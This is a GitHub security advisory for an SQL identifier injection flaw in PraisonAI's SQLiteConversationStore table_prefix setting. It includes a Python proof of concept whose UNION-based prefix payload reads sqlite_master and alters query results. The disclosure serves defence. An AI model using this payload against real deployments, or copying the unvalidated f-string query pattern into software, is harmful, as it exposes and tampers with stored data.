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PraisonAI: SQLiteConversationStore didn't validate table_prefix when constructing SQL queries

Moderate severity GitHub Reviewed Published Apr 9, 2026 in MervinPraison/PraisonAI • Updated Apr 10, 2026

Package

pip PraisonAI (pip)

Affected versions

< 4.5.133

Patched versions

4.5.133

Description

Summary

The table_prefix configuration value is directly used to construct SQL table identifiers without validation.

If an attacker controls this value, they can manipulate SQL query structure, leading to unauthorized data access (e.g., reading internal SQLite tables such as sqlite_master) and tampering with query results.


Details

This allows attackers to inject arbitrary SQL fragments into table identifiers, effectively altering query execution.

This occurs because table_prefix is passed from configuration (from_yaml / from_dict) into SQLiteConversationStore and directly concatenated into SQL queries via f-strings:

sessions_table = f"{table_prefix}sessions"

This value is then used in queries such as:

SELECT * FROM {self.sessions_table}

Since SQL identifiers cannot be safely parameterized and are not validated, attacker-controlled input can modify SQL query structure.

The vulnerability originates from configuration input and propagates through the following flow:

  • Source: config.py
    (from_yaml / from_dict) accepts external configuration input

  • Propagation: factory.py
    (create_stores_from_config) passes conversation_options without validation

  • Sink: sqlite.py
    Constructs SQL queries using f-strings with identifiers derived from table_prefix

As a result, attacker-controlled table_prefix is interpreted as part of the SQL query, enabling injection into table identifiers and altering query semantics.

PoC

1. Exploit Code

The PoC demonstrates that attacker-controlled table_prefix is not treated as a simple prefix but as part of the SQL query, allowing full manipulation of query structure.

#!/usr/bin/env python3
"""
PoC: SQL identifier injection via SQLiteConversationStore.table_prefix

This demonstrates query-structure manipulation when table_prefix is attacker-controlled.
"""

import os
import tempfile

from praisonai.persistence.conversation.sqlite import SQLiteConversationStore
from praisonai.persistence.conversation.base import ConversationSession


def run_poc() -> int:
    fd, db_path = tempfile.mkstemp(suffix=".db")
    os.close(fd)

    try:
        print(f"[+] temp db: {db_path}")

        # 1) Create normal schema and insert one legitimate session.
        normal = SQLiteConversationStore(
            path=db_path,
            table_prefix="praison_",
            auto_create_tables=True,
        )
        normal.create_session(
            ConversationSession(
                session_id="legit-session",
                user_id="user1",
                agent_id="agent1",
                name="Legit Session",
                state={},
                metadata={},
                created_at=123.0,
                updated_at=123.0,
            )
        )

        normal_rows = normal.list_sessions(limit=10, offset=0)
        print(f"[+] normal.list_sessions() count: {len(normal_rows)}")
        print(f"[+] normal first session_id: {normal_rows[0].session_id if normal_rows else None}")

        # 2) Malicious prefix (UNION-based query structure manipulation)
        injected_prefix = (
            "praison_sessions WHERE 1=0 "
            "UNION SELECT "
            "name as session_id, "
            "NULL as user_id, "
            "NULL as agent_id, "
            "NULL as name, "
            "NULL as state, "
            "NULL as metadata, "
            "0 as created_at, "
            "0 as updated_at "
            "FROM sqlite_master -- "
        )

        injected = SQLiteConversationStore(
            path=db_path,
            table_prefix=injected_prefix,
            auto_create_tables=False,
        )

        injected_rows = injected.list_sessions(limit=10, offset=0)
        injected_ids = [row.session_id for row in injected_rows]

        print(f"[+] injected.list_sessions() count: {len(injected_rows)}")
        print(f"[+] injected session_ids (first 10): {injected_ids[:10]}")

        suspicious = any(
            x in injected_ids
            for x in ("sqlite_schema", "sqlite_master", "praison_sessions", "praison_messages")
        )

        if suspicious or len(injected_rows) > len(normal_rows):
            print("[!] PoC succeeded: list_sessions query semantics altered by table_prefix")
            return 0

        print("[!] PoC inconclusive: no clear injected rows observed")
        return 2

    finally:
        try:
            os.remove(db_path)
            print("[+] temp db removed")
        except OSError:
            pass


if __name__ == "__main__":
    raise SystemExit(run_poc())

2. Expected Output

PoC Result
The output shows that legitimate data is no longer returned; instead, attacker-controlled results are injected, demonstrating that query semantics have been altered.

3. Impact

  • SQL Identifier Injection
  • Query result manipulation
  • Internal schema disclosure

Exploitable when untrusted input can influence configuration.


Reference

References

@MervinPraison MervinPraison published to MervinPraison/PraisonAI Apr 9, 2026
Published to the GitHub Advisory Database Apr 10, 2026
Reviewed Apr 10, 2026
Last updated Apr 10, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v4 base metrics

Exploitability Metrics
Attack Vector Network
Attack Complexity Low
Attack Requirements None
Privileges Required None
User interaction None
Vulnerable System Impact Metrics
Confidentiality Low
Integrity Low
Availability None
Subsequent System Impact Metrics
Confidentiality None
Integrity None
Availability None

CVSS v4 base metrics

Exploitability Metrics
Attack Vector: This metric reflects the context by which vulnerability exploitation is possible. This metric value (and consequently the resulting severity) will be larger the more remote (logically, and physically) an attacker can be in order to exploit the vulnerable system. The assumption is that the number of potential attackers for a vulnerability that could be exploited from across a network is larger than the number of potential attackers that could exploit a vulnerability requiring physical access to a device, and therefore warrants a greater severity.
Attack Complexity: This metric captures measurable actions that must be taken by the attacker to actively evade or circumvent existing built-in security-enhancing conditions in order to obtain a working exploit. These are conditions whose primary purpose is to increase security and/or increase exploit engineering complexity. A vulnerability exploitable without a target-specific variable has a lower complexity than a vulnerability that would require non-trivial customization. This metric is meant to capture security mechanisms utilized by the vulnerable system.
Attack Requirements: This metric captures the prerequisite deployment and execution conditions or variables of the vulnerable system that enable the attack. These differ from security-enhancing techniques/technologies (ref Attack Complexity) as the primary purpose of these conditions is not to explicitly mitigate attacks, but rather, emerge naturally as a consequence of the deployment and execution of the vulnerable system.
Privileges Required: This metric describes the level of privileges an attacker must possess prior to successfully exploiting the vulnerability. The method by which the attacker obtains privileged credentials prior to the attack (e.g., free trial accounts), is outside the scope of this metric. Generally, self-service provisioned accounts do not constitute a privilege requirement if the attacker can grant themselves privileges as part of the attack.
User interaction: This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable system. This metric determines whether the vulnerability can be exploited solely at the will of the attacker, or whether a separate user (or user-initiated process) must participate in some manner.
Vulnerable System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the VULNERABLE SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the VULNERABLE SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the VULNERABLE SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
Subsequent System Impact Metrics
Confidentiality: This metric measures the impact to the confidentiality of the information managed by the SUBSEQUENT SYSTEM due to a successfully exploited vulnerability. Confidentiality refers to limiting information access and disclosure to only authorized users, as well as preventing access by, or disclosure to, unauthorized ones.
Integrity: This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. Integrity of the SUBSEQUENT SYSTEM is impacted when an attacker makes unauthorized modification of system data. Integrity is also impacted when a system user can repudiate critical actions taken in the context of the system (e.g. due to insufficient logging).
Availability: This metric measures the impact to the availability of the SUBSEQUENT SYSTEM resulting from a successfully exploited vulnerability. While the Confidentiality and Integrity impact metrics apply to the loss of confidentiality or integrity of data (e.g., information, files) used by the system, this metric refers to the loss of availability of the impacted system itself, such as a networked service (e.g., web, database, email). Since availability refers to the accessibility of information resources, attacks that consume network bandwidth, processor cycles, or disk space all impact the availability of a system.
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N

EPSS score

Weaknesses

Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')

The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data. Learn more on MITRE.

CVE ID

No known CVE

GHSA ID

GHSA-x783-xp3g-mqhp

Credits

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